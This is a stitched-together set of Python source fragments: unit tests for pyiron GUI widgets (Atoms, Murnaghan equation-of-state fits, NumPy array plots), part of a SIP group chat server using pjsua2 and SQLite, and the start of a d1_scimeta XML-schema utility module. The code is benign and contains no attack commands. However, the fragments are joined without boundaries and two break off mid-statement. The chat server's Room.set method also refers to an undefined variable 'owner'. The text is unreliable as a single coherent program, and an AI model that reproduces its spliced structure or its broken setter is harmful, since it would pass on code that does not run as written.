test___getitem__(self): self.assertEqual(self.pw_str[0], 's', msg='Get item should return the appropriate item from the wrapped object') self.assertIs(self.pw_str['.'], self.project, msg="For a TypeError of the wrapped object a path like item is assumed.") super_proj = self.pw_str['..'] self.assertEqual(os.path.normpath(super_proj.path), os.path.split(os.path.normpath(self.project.path))[0]) def test_gui(self): self.assertIsInstance(self.pw_str.gui, widgets.VBox) class TestAtomsWrapper(TestWithProject): def setUp(self): fe = Atoms(cell=[4, 4, 4], elements=['Fe', 'Fe'], positions=[[0, 0, 0], [2, 2, 2]], pbc=True) self.pw_atoms = AtomsWrapper(fe, self.project) def test___init__(self): self.assertIsInstance(self.pw_atoms._wrapped_object, Atoms) def test_path(self): self.assertEqual(self.pw_atoms.path, self.project.path) def test_list_nodes(self): msg = "Each object in the PyironWrapper should have list_nodes()" self.assertEqual(self.pw_atoms.list_nodes(), [], msg=msg) def test_name(self): self.assertEqual(self.pw_atoms.name, 'structure') def test_project(self): self.assertIs(self.pw_atoms.project, self.project, msg='Atoms does not have a project; should return pw._project') def test_gui(self): # No nglview on github CI, thus: try: self.assertIsInstance(self.pw_atoms.gui, widgets.VBox) except ImportError: pass class TestAtomsWidget(TestWithProject): def setUp(self): fe = Atoms(cell=[4, 4, 4], elements=['Fe', 'Fe'], positions=[[0, 0, 0], [2, 2, 2]], pbc=True) self.pw_atoms = AtomsWidget(AtomsWrapper(fe, self.project)) def test_gui(self): self.assertIs(self.pw_atoms._ngl_widget, None) # No nglview on github CI, thus: try: self.pw_atoms.refresh() except ImportError: pass else: plot = self.pw_atoms._ngl_widget self.assertEqual(type(plot).__name__, 'NGLWidget') # Needed to populate the _camera_orientation: plot.display() widget_state_orient_init = plot.get_state()['_camera_orientation'] plot.control.translate([1., 0, 0]) widget_state_orient = plot.get_state()['_camera_orientation'] self.pw_atoms.refresh() replot = self.pw_atoms._ngl_widget self.assertFalse(plot is replot) self.assertEqual(widget_state_orient, replot.get_state()['_camera_orientation']) self.pw_atoms._option_widgets['reset_view'].value = True self.pw_atoms.refresh() self.assertEqual(widget_state_orient_init, self.pw_atoms._ngl_widget.get_state()['_camera_orientation']) def test__parse_option_widgets(self): self.assertEqual(1.0, self.pw_atoms._options['particle_size']) self.pw_atoms._option_widgets['particle_size'].value = 2.5 self.pw_atoms._parse_option_widgets() self.assertEqual(2.5, self.pw_atoms._options['particle_size']) class TestMurnaghanWrapper(TestWithProject): @classmethod def setUpClass(cls): super().setUpClass() fe = Atoms(cell=[4, 4, 4], elements=['Fe', 'Fe'], positions=[[0, 0, 0], [2, 2, 2]], pbc=True) ref_job = cls.project.create.job.Lammps('ref') murn = ref_job.create_job('Murnaghan', 'murn') murn.structure = fe # mock murnaghan run with data from: # ref_job = pr.create.job.Lammps('Lammps') # ref_job.structure = pr.create_structure('Al','fcc', 4.0).repeat(3) # ref_job.potential = '1995--Angelo-J-E--Ni-Al-H--LAMMPS--ipr1' # murn = ref_job.create_job(ham.job_type.Murnaghan, 'murn') # murn.run() energies = np.array([-88.23691773, -88.96842984, -89.55374317, -90.00642629, -90.33875009, -90.5618246, -90.68571886, -90.71957679, -90.67170222, -90.54964935, -90.36029582]) volume = np.array([388.79999999, 397.44, 406.08, 414.71999999, 423.35999999, 431.99999999, 440.63999999, 449.27999999, 457.92, 466.55999999, 475.19999999]) murn._hdf5["output/volume"] = volume murn._hdf5["output/energy"] = energies murn._hdf5["output/equilibrium_volume"] = 448.4033384110422 murn.status.finished = True cls.murn = murn def setUp(self): self.pw_murn = MurnaghanWrapper(self.murn, self.project) def test___init__(self): self.assertIsInstance(self.pw_murn._wrapped_object, Murnaghan) def test_path(self): self.assertEqual(self.pw_murn.path, self.project.path + 'murn') def test_list_nodes(self): msg = "Each object in the PyironWrapper should have list_nodes()" self.assertEqual(self.pw_murn.list_nodes(), [], msg=msg) def test_name(self): self.assertEqual(self.pw_murn.name, 'murnaghan') def test_project(self): self.assertFalse(self.pw_murn.project is self.project, msg="murn.project should be a copy of the project") self.assertEqual(self.pw_murn.project.path, self.project.path) def test_gui(self): self.assertIsInstance(self.pw_murn.gui, widgets.VBox) class TestMurnaghanWidget(TestWithCleanProject): def setUp(self): fe = Atoms(cell=[4, 4, 4], elements=['Fe', 'Fe'], positions=[[0, 0, 0], [2, 2, 2]], pbc=True) ref_job = self.project.create.job.Lammps('ref') murn = ref_job.create_job('Murnaghan', 'murn') murn.structure = fe # mock murnaghan run with data from: # ref_job = pr.create.job.Lammps('Lammps') # ref_job.structure = pr.create_structure('Al','fcc', 4.0).repeat(3) # ref_job.potential = '1995--Angelo-J-E--Ni-Al-H--LAMMPS--ipr1' # murn = ref_job.create_job(ham.job_type.Murnaghan, 'murn') # murn.run() energies = np.array([-88.23691773, -88.96842984, -89.55374317, -90.00642629, -90.33875009, -90.5618246, -90.68571886, -90.71957679, -90.67170222, -90.54964935, -90.36029582]) volume = np.array([388.79999999, 397.44, 406.08, 414.71999999, 423.35999999, 431.99999999, 440.63999999, 449.27999999, 457.92, 466.55999999, 475.19999999]) murn._hdf5["output/volume"] = volume murn._hdf5["output/energy"] = energies murn._hdf5["output/equilibrium_volume"] = 448.4033384110422 murn.status.finished = True self.pw_murn = MurnaghanWidget(MurnaghanWrapper(murn, self.project)) def test_option_representation(self): self.assertEqual('polynomial', self.pw_murn._options['fit_type']) self.assertEqual(3, self.pw_murn._options['fit_order']) def test_gui(self): with self.subTest(msg='polynomial with fit_order=3'): self.pw_murn._on_click_apply_button("NoButtonSinceNotNeeded") self.assertAlmostEqual(-90.71969974284912, self.pw_murn._obj.equilibrium_energy) self.assertAlmostEqual(448.1341230545222, self.pw_murn._obj.equilibrium_volume) with self.subTest(msg='polynomial with fit_order=2'): self.pw_murn._option_widgets['fit_order'].value = 2 self.pw_murn._on_click_apply_button("NoButtonSinceNotNeeded") self.assertTrue(np.isclose(-90.76380033222287, self.pw_murn._obj.equilibrium_energy)) self.assertTrue(np.isclose(449.1529040727273, self.pw_murn._obj.equilibrium_volume)) with self.subTest(msg='birchmurnaghan'): self.pw_murn._option_widgets['fit_type'].value = 'birchmurnaghan' self.pw_murn._on_click_apply_button("NoButtonSinceNotNeeded") self.assertTrue(np.isclose(-90.72005405262217, self.pw_murn._obj.equilibrium_energy)) self.assertTrue(np.isclose(448.41909755611437, self.pw_murn._obj.equilibrium_volume)) with self.subTest(msg='murnaghan'): self.pw_murn._option_widgets['fit_type'].value = 'murnaghan' self.pw_murn._on_click_apply_button("NoButtonSinceNotNeeded") self.assertAlmostEqual(-90.72018572197015, self.pw_murn._obj.equilibrium_energy) self.assertAlmostEqual(448.4556825322108, self.pw_murn._obj.equilibrium_volume) with self.subTest(msg='vinet'): self.pw_murn._option_widgets['fit_type'].value = 'vinet' self.pw_murn._on_click_apply_button("NoButtonSinceNotNeeded") self.assertAlmostEqual(-90.72000006839492, self.pw_murn._obj.equilibrium_energy) self.assertAlmostEqual(448.40333840970357, self.pw_murn._obj.equilibrium_volume) with self.subTest(msg='pouriertarantola'): self.pw_murn._option_widgets['fit_type'].value = 'pouriertarantola' self.pw_murn._on_click_apply_button("NoButtonSinceNotNeeded") self.assertAlmostEqual(-90.71996235760845, self.pw_murn._obj.equilibrium_energy) self.assertAlmostEqual(448.3876577969001, self.pw_murn._obj.equilibrium_volume) class TestNumpyWidget(unittest.TestCase): def setUp(self): self.np_1d_wid = NumpyWidget(np.arange(10)) self.np_2d_wid = NumpyWidget(np.reshape(np.arange(30), (10, 3))) self.np_3d_wid = NumpyWidget(np.reshape(np.arange(600), (10, 20, 3))) self.np_4d_wid = NumpyWidget(np.reshape(np.arange(2000), (10, 10, 10, 2))) def test___init__(self): with self.subTest(msg="1D"): self.assertIs(self.np_1d_wid._plot_options, None, msg='1D array should not have plot options') self.assertEqual(self.np_1d_wid._replot_button.description, 'Replot', msg="Without plot options, there is only a 'Replot'.") header = self.np_1d_wid._header hbox_children = header.children[0].children self.assertIs(hbox_children[0], self.np_1d_wid._show_data_button) self.assertIs(hbox_children[1], self.np_1d_wid._replot_button) with self.subTest(msg="2D"): self.assertIs(self.np_2d_wid._plot_options, None, msg='2D array should not have plot options') self.assertEqual(self.np_2d_wid._replot_button.description, 'Replot', msg="Without plot options, there is only a 'Replot'.") header = self.np_2d_wid._header hbox_children = header.children[0].children self.assertIs(hbox_children[0], self.np_2d_wid._show_data_button) self.assertIs(hbox_children[1], self.np_2d_wid._replot_button) with self.subTest(msg="3D"): self.assertEqual(self.np_3d_wid._plot_options['dim'].value, (0, 1), msg="The first two dimensions should be plot by default") self.assertEqual(len(self.np_3d_wid._plot_options['idx']), 1, msg='For a 3D array, there is one additional index to choose') self.assertEqual(self.np_3d_wid._plot_options['idx'][0].value, 0, msg='The default index to plot should be 0') self.assertEqual(self.np_3d_wid._replot_button.description, 'Apply', msg="With plot options, these can be applied.") with self.subTest(msg="4D"): self.assertEqual(self.np_4d_wid._plot_options['dim'].value, (0, 1), msg="The first two dimensions should be plot by default") self.assertEqual(len(self.np_4d_wid._plot_options['idx']), 2, msg='For a 3D array, there are two additional index to choose') self.assertEqual(self.np_4d_wid._plot_options['idx'][0].value, 0, msg='The default index to plot should be 0') self.assertEqual(self.np_4d_wid._plot_options['idx'][1].value, 0, msg='The default index to plot should be 0') self.assertEqual(self.np_4d_wid._replot_button.description, 'Apply', msg="With plot options, these can be applied.") def test__option_representation(self): with self.subTest(msg='1D'): option_w = self.np_1d_wid._option_representation self.assertEqual(len(option_w.children), 0, msg='No plot options for 1D array') with self.subTest(msg='2D'): option_w = self.np_2d_wid._option_representation self.assertEqual(len(option_w.children), 0, msg='No plot options for 2D array') with self.subTest(msg='3D'): option_w = self.np_3d_wid._option_representation self.assertEqual(len(option_w.children), 2, msg='Dim and index plot options for 3D array') index_hbox = option_w.children[1] self.assertEqual(len(index_hbox.children), 1, msg='One index to choose for a 3D array') with self.subTest(msg='4D'): option_w = self.np_4d_wid._option_representation self.assertEqual(len(option_w.children), 2, msg='Dim and index plot options for 4D array') index_hbox = option_w.children[1] self.assertEqual(len(index_hbox.children), 2, msg='Two index to choose for a 4D array') def test__click_show_data_button(self): # use a fake_out since everything directed to the widgets.Output() is redirected to sys.stdout in the tests with unittest.mock.patch('sys.stdout', new=io.StringIO()) as fake_out: self.np_1d_wid._click_show_data_button('NoButtonSinceNotUsed') self.assertTrue('[0 1 2 3 4 5 6 7 8 9]' in fake_out.getvalue()) self.assertEqual(self.np_1d_wid._header.children, tuple([self.np_1d_wid._show_plot_button])) with self.subTest('2D'): self.np_2d_wid._click_show_data_button('NoButtonSinceNotUsed') self.assertEqual(self.np_2d_wid._header.children, tuple([self.np_2d_wid._show_plot_button])) with self.subTest('3D'): self.np_3d_wid._click_show_data_button('NoButtonSinceNotUsed') self.assertEqual(self.np_3d_wid._header.children, tuple([self.np_3d_wid._show_plot_button])) with self.subTest('4D'): self.np_4d_wid._click_show_data_button('NoButtonSinceNotUsed') self.assertEqual(self.np_4d_wid._header.children, tuple([self.np_4d_wid._show_plot_button])) def test__click_replot_button(self): with self.subTest('1D'): self.np_1d_wid._click_show_data_button('NoButtonSinceNotUsed') self.np_1d_wid._click_replot_button('NoButtonSinceNotUsed') header = self.np_1d_wid._header hbox_children = header.children[0].children self.assertIs(hbox_children[0], self.np_1d_wid._show_data_button) self.assertIs(hbox_children[1], self.np_1d_wid._replot_button) with self.subTest('2D'): self.np_2d_wid._click_show_data_button('NoButtonSinceNotUsed') self.np_2d_wid._click_replot_button('NoButtonSinceNotUsed') header = self.np_2d_wid._header hbox_children = header.children[0].children self.assertIs(hbox_children[0], self.np_2d_wid._show_data_button) self.assertIs(hbox_children[1], self.np_2d_wid._replot_button) with self.subTest('3D'): self.np_3d_wid._click_show_data_button('NoButtonSinceNotUsed') self.np_3d_wid._click_replot_button('NoButtonSinceNotUsed') header_children = self.np_3d_wid._header.children self.assertIsInstance(header_children[0], widgets.VBox) self.assertIsInstance(header_children[1], widgets.VBox) buttons = header_children[1].children self.assertIs(buttons[0], self.np_3d_wid._show_data_button) self.assertIs(buttons[1], self.np_3d_wid._replot_button) with self.subTest('4D'): self.np_4d_wid._click_show_data_button('NoButtonSinceNotUsed') self.np_4d_wid._click_replot_button('NoButtonSinceNotUsed') header_children = self.np_4d_wid._header.children self.assertIsInstance(header_children[0], widgets.VBox) self.assertIsInstance(header_children[1], widgets.VBox) buttons = header_children[1].children self.assertIs(buttons[0], self.np_4d_wid._show_data_button) self.assertIs(buttons[1], self.np_4d_wid._replot_button) def test__plot_array(self): """Only testing additional/special cases here""" with self.subTest("2D with len=1"): self.np_1d_wid._plot_array() plotted_array_1d = self.np_1d_wid._ax.lines[0].get_xydata() np_2d_wid_len_1 = NumpyWidget(np.reshape(np.arange(10), (1, 10))) plotted_array_2d = np_2d_wid_len_1._ax.lines[0].get_xydata() self.assertTrue(np.allclose(plotted_array_1d, plotted_array_2d), msg="2D arrays with len=1 should behave as a 1D array") with self.subTest("3D without _plot_options"): plotted_array_init = self.np_3d_wid._ax.lines[0].get_xydata() self.np_3d_wid._plot_options = None self.np_3d_wid._plot_array() self.assertTrue(np.allclose(self.np_3d_wid._ax.lines[0].get_xydata(), plotted_array_init)) with self.subTest(msg="Trigger 'Error'"): with unittest.mock.patch('sys.stdout', new=io.StringIO()) as fake_out: self.np_4d_wid._plot_options['dim'].value = [0] self.np_4d_wid._plot_array() self.assertTrue('Error: You need to select exactly two dimensions.' in fake_out.getvalue()) class TestDisplayOutputGUI(TestWithProject): def setUp(self): self.output = DisplayOutputGUI() def test___getattr__(self): self.output.append_stdout('Hi') def test_display_None(self): self.assertRaises(TypeError, self.output.display, None) self.output.display(None, default_output="None") def test_display_str(self): self.output.display("This") def test_display_pyiron_wrapped_atoms(self): fe = Atoms(cell=[4, 4, 4], elements=['Fe', 'Fe'], positions=[[0, 0, 0], [2, 2, 2]], pbc=True) pw_fe = PyironWrapper(fe, self.project) try: self.output.display(pw_fe) self.assertIsInstance(self.output._display_obj, widgets.VBox) except ImportError: print("No nglview installed, test skipped") def test_display_numpy_array(self): array = np.array([[[[1, 0, 0]]]]) self.output.display(array) self.assertIsInstance(self.output._display_obj, NumpyWidget) def test__output_conv_ipynb(self): nb_cell = nbformat.NotebookNode( { 'cell_type': 'markdown', 'metadata': {}, 'source': "## Test" } ) nb = nbformat.NotebookNode( { 'cells': [nb_cell], 'metadata': {}, 'nbformat': 4, 'nbformat_minor': 4 } ) self.output._display_obj = nb ret = self.output._output_conv() self.assertEqual(type(ret).__name__, 'HTML') def test__output_conv_dict(self): self.output._display_obj = {'some': "dict"} ret =
# # Group Chat Server # # Copyright (C) 2019 Internet Real-Time Laboratory # # Written by <NAME> <<EMAIL>> # import re import os import shlex import types import time import json import sqlite3 import traceback import pjsua2 as pj import time from types import SimpleNamespace from email.utils import formatdate, parseaddr DOMAIN = os.environ['DOMAIN'] ADMIN_PASSWORD = os.environ['ADMIN_PASSWORD'] OUTBOUND_PROXY = os.environ.get('OUTBOUND_PROXY', 'sip:127.0.0.1:5060;transport=tcp') REGISTRAR = os.environ.get('REGISTRAR', 'sip:%s' % DOMAIN) CMD_MARKER = os.environ.get('CMD_MARKER', '#') DEBUG = os.environ.get('DEBUG', False) LISTEN = os.environ.get('LISTEN', '127.0.0.1:0') ROBOT = os.environ.get('ROBOT', '"Chat Robot" <sip:chatrobot@%s>' % DOMAIN) DB_FILE = os.environ.get('DB_FILE', '/data/chat.db') class ChatException(Exception): pass class RoomConflict(ChatException): pass class RoomMemberConflict(RoomConflict): pass class RoomOwnerConflict(RoomConflict): pass class AbortCommand(ChatException): def __init__(self, msg, code, reason): super().__init__(msg) self.code = code self.reason = reason class BadRequest(AbortCommand): def __init__(self, msg, code=400, reason='Bad Request'): super().__init__(msg, code=code, reason=reason) class Forbidden(AbortCommand): def __init__(self, msg, code=403, reason='Forbidden'): super().__init__(msg, code=code, reason=reason) class NotFound(AbortCommand): def __init__(self, msg, code=404, reason='Not Found'): super().__init__(msg, code=code, reason=reason) class Conflict(AbortCommand): def __init__(self, msg, code=409, reason='Conflict'): super().__init__(msg, code=code, reason=reason) def debug(msg): if DEBUG is not False: print(msg) def str2bool(v): t = v.lower() if t in ('yes', 'true', 't', '1', 'on'): return True elif t in ('no', 'false', 'f', '0', 'off'): return False else: raise ValueError('invalid parameter value %s' % v) def URI(v): i = v.find('<') if i != -1: v = v[i+1:] i = v.find('>') v = v[:i] i = v.find('@') if i != -1: return v.lower() return 'sip:%s@%s' % (v.lower(), DOMAIN.lower()) def Username(v): i = v.find('<') if i != -1: v = v[i+1:] i = v.find('>') v = v[:i] i = v.find(':') j = v.find('@') return v[i+1:j] # Returns a name-addr from the following formats: # - username # - sip:username@domain # - display_name <sip:username@domain> # def RoomID(room_id): name, uri = parseaddr(room_id) return NameAddr(name or None, URI(uri)) def NameAddr(name, uri): uri = URI(uri) return '"%s" <%s>' % (name, uri) if name else '<%s>' % uri def DisplayName(naddr): name, _ = parseaddr(naddr) return name or None def FriendlyName(naddr): return DisplayName(naddr) or Username(naddr) def RequestID(msg): m = re.search(r'^X-Request-ID:.*$', msg, flags=re.IGNORECASE | re.MULTILINE) if m is None: m = re.search(r'^Call-ID:.*$', msg, flags=re.IGNORECASE | re.MULTILINE) if m is not None: return ':'.join(msg[m.start():m.end()].split(':')[1:]).strip() def get_account(naddr): try: acc = accounts[URI(naddr)] except KeyError: acc = RoomAccount(naddr, register=False) accounts[acc.uri] = acc return acc def append_header(imp, name, value): h = pj.SipHeader() h.hName = name h.hValue = value imp.txOption.headers.append(h) class Outbox(object): def __init__(self): self.pushers = dict() self.flush() def _key(self, dst, src): return '%s%s' % (URI(dst), URI(src)) def flush(self): rows = db.execute('SELECT DISTINCT to_uri, from_uri FROM outbox').fetchall() if len(rows): debug('Flushing outbox (%d messages)' % len(rows)) for to_uri, from_uri in rows: key = self._key(to_uri, from_uri) try: p = self.pushers[key] except KeyError: debug('[%s] Creating pusher task for [%s]' % (Username(from_uri), Username(to_uri))) p = Pusher(to_uri, from_uri) self.pushers[key] = p p.run() def enqueue(self, to, from_, msg, hdr=None, flush=True): to_uri = URI(to) if to_uri != to and '<%s>' % to_uri != to: hdr = hdr or dict() hdr['To'] = to from_uri = URI(from_) if from_uri != from_ and '<%s>' % from_uri != from_: hdr = hdr or dict() hdr['From'] = from_ if hdr is not None: hdr = json.dumps(hdr) db.execute('INSERT INTO outbox (to_uri, from_uri, message, headers) VALUES (?, ?, ?, ?)', (to_uri, from_uri, msg, hdr)) db.commit() if flush: self.flush() class Pusher(object): def __init__(self, to_uri, from_uri): self.to_uri = to_uri self.from_uri = from_uri self._running = False def get_buddy(self): acc = get_account(self.from_uri) return acc.get_buddy(self.to_uri) def run(self): if self._running: return self._running = True with db: row = db.execute(''' SELECT id, message as msg, headers as hdr, attempts_made FROM outbox WHERE to_uri=? AND from_uri=? ORDER BY enqueued LIMIT 1''', (self.to_uri, self.from_uri)).fetchone() if row is None: self._running = False return self.msgid = row['id'] hdr = json.loads(row['hdr']) if row['hdr'] else {} buddy = self.get_buddy() debug('[%s][%s] Pushing messsage %d' % (Username(self.from_uri), Username(self.to_uri), self.msgid)) buddy.send(row['msg'], callback=self._callback, headers=hdr) db.execute('UPDATE outbox SET attempts_made=? WHERE id=?', (row['attempts_made'] + 1, self.msgid)) def _callback(self, code, reason): self._running = False debug('[%s][%s] Message %d: %d %s' % (Username(self.from_uri), Username(self.to_uri), self.msgid, code, reason)) with db: if code >= 200 and code <= 299: debug('[%s][%s] Deleting message %d from outbox' % (Username(self.from_uri), Username(self.to_uri), self.msgid)) db.execute('DELETE FROM outbox WHERE id=?', (self.msgid,)) else: db.execute('UPDATE outbox SET status_code=?, status_reason=? WHERE id=?', (code, reason, self.msgid)) self.run() class Buddy(pj.Buddy): def __init__(self, naddr, account): super().__init__() self._account = account self.create(account, self._configure(naddr)) self._running = False buddies[self._key] = self def _configure(self, naddr): self._cfg = pj.BuddyConfig() self._cfg.uri = naddr self._cfg.subscribe = False return self._cfg @property def uri(self): return URI(self._cfg.uri) @property def _key(self): return '%s%s' % (self.uri, self._account.uri) def send(self, msg, callback=None, headers={}): if self._running: raise AssertionError('Buddy %s is busy' % self.uri) def _cb(code, reason): self._running = False if callback: callback(code, reason) trampoline[self._key] = _cb imp = pj.SendInstantMessageParam() for name, value in headers.items(): if name.lower() in ['f', 't', 'from', 'to']: continue append_header(imp, name, value) imp.content = str(msg) self._running = True self.sendInstantMessage(imp) class Room(object): def __init__(self, id, uri, owner, name=None, subject=None, private=False, created=None, members=set()): self.id = id self.uri = URI(uri) self.owner = URI(owner) self.name = name self.subject = subject self.private = private self.created = created self.members = {URI(m): m for m in members} self.account = get_account(self.uri) def __contains__(self, naddr): return URI(naddr) in self.members @property def From(self): return NameAddr(self.name, self.uri) @classmethod def enum(cls): c = db.execute('SELECT name, uri FROM room') return set([NameAddr(v['name'], v['uri']) for v in c.fetchall()]) @classmethod def load(cls, room_id): rows = db.execute(''' SELECT r.*, m.room as mroom, m.name as mname, m.uri as muri FROM room r LEFT JOIN member m ON r.id=m.room WHERE r.uri=?''', (URI(room_id),)).fetchall() if not rows: return None row = rows[0] m = [NameAddr(r['mname'], r['muri']) for r in rows if r['mroom'] is not None] return Room(row['id'], row['uri'], row['owner'], name=row['name'], subject=row['subject'], private=(row['private'] != 0), created=row['created'], members=m) @classmethod def create(cls, naddr, owner, *members, private=False): uri = URI(naddr) members = {URI(m): m for m in members} with db: c = db.execute('INSERT INTO room (uri, owner, name, private) VALUES (?, ?, ?, ?)', (uri, URI(owner), DisplayName(naddr), private)) db.executemany('INSERT INTO member (room, name, uri) VALUES (?, ?, ?)', [(c.lastrowid, DisplayName(naddr), uri) for uri, naddr in members.items()]) get_account(naddr).register(True) def isOwner(self, naddr): return self.owner == URI(naddr) def _sync_members(self): with db: db.execute('DELETE FROM member WHERE room=?', (self.id,)) db.executemany('INSERT INTO member (room, name, uri) VALUES (?, ?, ?)', [(self.id, DisplayName(m), URI(m)) for m in self.members.values()]) def add(self, *naddrs): old = len(self.members.keys()) self.members.update({URI(m): m for m in naddrs}) new = len(self.members.keys()) self._sync_members() return new - old def remove(self, *naddrs): old = len(self.members.keys()) for m in map(URI, naddrs): try: del self.members[m] except KeyError: pass new = len(self.members.keys()) self._sync_members() return old - new # FIXME: This could be implemented more intelligently via setters/getters def set(self, key, value): k = key.lower() if k == 'name': self.name = value elif k == 'owner': if value is None: raise ValueError('value must be owner uri') self.owner = URI(owner) elif k == 'private': if value is None: raise ValueError('value must be true/false') self.private = str2bool(value) elif k == 'subject': self.subject = value else: raise ValueError('unsupported parameter %s' % key) self.save() def get(self, key): k = key.lower() if k == 'name': return self.name elif k == 'owner': return self.owner elif k == 'private': return self.private elif k == 'subject': return self.subject else: raise ValueError('unsupported parameter %s' % key) def save(self): db.execute('UPDATE room SET name=?, subject=?, owner=?, private=? WHERE id=?', (self.name, self.subject, self.owner, self.private, self.id)) db.commit() self.account.reconfigure(NameAddr(self.name, self.uri)) def destroy(self): self.account.register(False) db.execute('DELETE FROM room WHERE id=?', (self.id,)) db.commit() def broadcast(self, message, sender=None, skip_sender=True): if sender is not None: message = '%s: %s' % (FriendlyName(sender), message) db.execute('INSERT INTO history (room, message) VALUES (?, ?)', (self.id, message)) db.commit() sender_uri = URI(sender) if sender else None hdr = {'Subject': self.subject} if self.subject else {} for uri, naddr in self.members.items(): if skip_sender and uri == sender_uri: continue self.account.send(naddr, message, hdr=hdr, flush=False) outbox.flush() class Account(pj.Account): def __init__(self, naddr, make_default=False, register=False): super().__init__() self._register = register self.create(self._configure(naddr, register), make_default=make_default) accounts[self.uri] = self def _configure(self, naddr, register): self._cfg = pj.AccountConfig() self._cfg.idUri = naddr self._cfg.sipConfig.proxies.push_back(OUTBOUND_PROXY) self._cfg.regConfig.registrarUri = REGISTRAR self._cfg.regConfig.retryIntervalSec = 5 self._cfg.regConfig.registerOnAdd = register return self._cfg def reconfigure(self, naddr): try: del accounts[self.uri] except KeyError: pass self.modify(self._configure(naddr, self._register)) accounts[self.uri] = self def register(self, state): self._register = state try: self.setRegistration(state) except pj.Error: pass @property def uri(self): return URI(self._cfg.idUri) @property def From(self): return self._cfg.idUri def get_buddy(self, naddr): try: return self.findBuddy(naddr) except pj.Error: return Buddy(naddr, self) # FIXME: This method isn't
<filename>lib_scimeta/src/d1_scimeta/util.py<gh_stars>10-100 import inspect import io import logging import os import pprint import re import urllib import urllib.parse import lxml import lxml.etree import d1_common.iter import d1_common.iter.path import d1_common.util import d1_common.utils.filesystem import d1_common.utils.ulog # Paths SCHEMA_ROOT_PATH = d1_common.utils.filesystem.abs_path("./schema") EXT_ROOT_PATH = d1_common.utils.filesystem.abs_path("./ext") XSD_ROOT_DIR_PATH = d1_common.utils.filesystem.abs_path("./schema_root") FORMAT_ID_TO_SCHEMA_JSON_PATH = os.path.join(EXT_ROOT_PATH, "format_id_to_schema.json") STRIP_WHITESPACE_XSLT_PATH = os.path.join(EXT_ROOT_PATH, "strip_whitespace.xslt") REMOVE_EMPTY_ELEMENTS_XSLT_PATH = os.path.join( EXT_ROOT_PATH, "remove_empty_elements.xslt" ) FORMAT_ID_TO_SCHEMA_DICT = d1_common.util.load_json(FORMAT_ID_TO_SCHEMA_JSON_PATH) XSLT_TRANSFORM_DICT = {} # Constants NS_MAP = { # XMLSchema "xs": "http://www.w3.org/2001/XMLSchema", "xsi": "http://www.w3.org/2001/XMLSchema-instance", "xlink": "http://www.w3.org/1999/xlink", # isotc211 "gco": "http://www.isotc211.org/2005/gco", "gmd": "http://www.isotc211.org/2005/gmd", "gmi": "http://www.isotc211.org/2005/gmi", "gml": "http://www.opengis.net/gml/3.2", "gmx": "http://www.isotc211.org/2005/gmx", "mx": "http://www.isotc211.org/2005/gmx", "ns7": "http://www.isotc211.org/2005/srv", "srv": "http://www.isotc211.org/2005/srv", "gfc": "http://www.isotc211.org/2005/gfc", "gts": "http://www.isotc211.org/2005/gts", } XML_SCHEMA_NS = "http://www.w3.org/2001/XMLSchema" log = logging.getLogger(__name__) # # XPath # def get_xsi_schema_location_tup(xml_tree): """Extract xsi:schemaLocation from the root of an XML doc. The root schemaLocation consists of (namespace, uri) pairs stored as a list of strings and designates XSD namespaces and schema locations required for validation. For schemaLocation in xs:include and xs:import in XSD docs, see other function. Args: xml_tree: Returns: tup of 2-tups. Examples: xsi:schemaLocation=" http://www.isotc211.org/2005/gmi http://files.axds.co/isobio/gmi/gmi.xsd http://www.isotc211.org/2005/gmd http://files.axds.co/isobio/gmd/gmd.xsd "> -> ( ('http://www.isotc211.org/2005/gmi', 'http://files.axds.co/isobio/gmi/gmi.xsd'), ('http://www.isotc211.org/2005/gmd', 'http://files.axds.co/isobio/gmd/gmd.xsd') ) """ alternating_ns_uri_tup = tuple( s for loc_str in xml_tree.xpath("//*/@xsi:schemaLocation", namespaces=NS_MAP) for s in re.split(r"\s+", loc_str) ) return tuple( (ns, uri) for ns, uri in zip(alternating_ns_uri_tup[::2], alternating_ns_uri_tup[1::2]) ) def get_xs_include_xs_import_schema_location_tup(xsd_tree): """Extract xs:schemaLocation from xs:include and xs:import elements in XSD doc. The schemaLocation consists of a single uri. For schemaLocation in the root of XML docs, see other function. """ return tuple( loc_el.attrib["schemaLocation"] for loc_el in xsd_tree.xpath("//xs:include|xs:import", namespaces=NS_MAP) ) def get_root_ns(xml_tree): """Extract the root namespace for the XML doc. Returns: str: Extracted from the prefix used for the root element which is also declared as an xmlns in the root element. Examples: <xs:schema targetNamespace="http://www.w3.org/XML/1998/namespace" xmlns:xs="http://www.w3.org/2001/XMLSchema"> -> http://www.w3.org/2001/XMLSchema """ return xml_tree.xpath("namespace-uri(/*)", namespaces=NS_MAP) def get_target_ns(xml_tree): """Extract the target namespace for the XML doc. Returns: str: Extracted from the `targetNamespace` attribute of the root element. If the root element does not have a `targetNamespace` attribute, return an empty string, "". Examples: <xs:schema targetNamespace="http://www.w3.org/XML/1998/namespace" xmlns:xs="http://www.w3.org/2001/XMLSchema"> -> http://www.w3.org/XML/1998/namespace """ ns_list = xml_tree.xpath("/*/@targetNamespace") if len(ns_list): return ns_list[0] return "" # # Paths # def get_abs_root_xsd_path(format_id): """Get abs path to root XSD by formatId. Returns: xsd_path : str Path to the pre-generated XSD that should import all XSDs required for validating any XML of the given formatId. E.g.: format_id = http://www.isotc211.org/2005/gmd -> /d1_scimeta/ext/isotc211.xsd """ return os.path.join(XSD_ROOT_DIR_PATH, get_schema_name(format_id) + ".xsd") def get_schema_name(format_id): """Get the directory name of a schema by formatId. Returns: schema_dir_name: str The name (not path) of the root directory for the XSD files for a given formatId. This is also the basename of the root XSD file for a given formatId. E.g.: format_id = http://www.isotc211.org/2005/gmd -> isotc211 """ try: return FORMAT_ID_TO_SCHEMA_DICT[format_id] except KeyError: raise SciMetaError("Invalid formatId: {}".format(format_id)) def get_supported_format_id_list(): """Get list of formatIds that are supported by the validator. Returns: list of format_id: list List of the formatId strings that can be passed to the validate*() functions. .""" return FORMAT_ID_TO_SCHEMA_DICT.keys() def is_installed_scimeta_format_id(format_id): """Return True if validation is supported for `format_id`.""" return format_id in FORMAT_ID_TO_SCHEMA_DICT.keys() def gen_abs_xsd_path_list(branch_path): """Generate a list of abs paths to XSD files under `branch_path`. Excludes `*.ORIGINAL.*` files, which are inferred from their `.xsd` conterparts. """ return [ p for p in d1_common.iter.path.path_generator( [branch_path], exclude_glob_list=["*.ORIGINAL.*"] ) if is_valid_xsd_file(p) ] def get_abs_schema_branch_path(format_id): """Get absolute path to a branch holding all the XSD files for a single formatId. The returned path will always have a trailing slash. Returns: abs_xsd_path : str E.g.: format_id = http://www.isotc211.org/2005/gmd -> 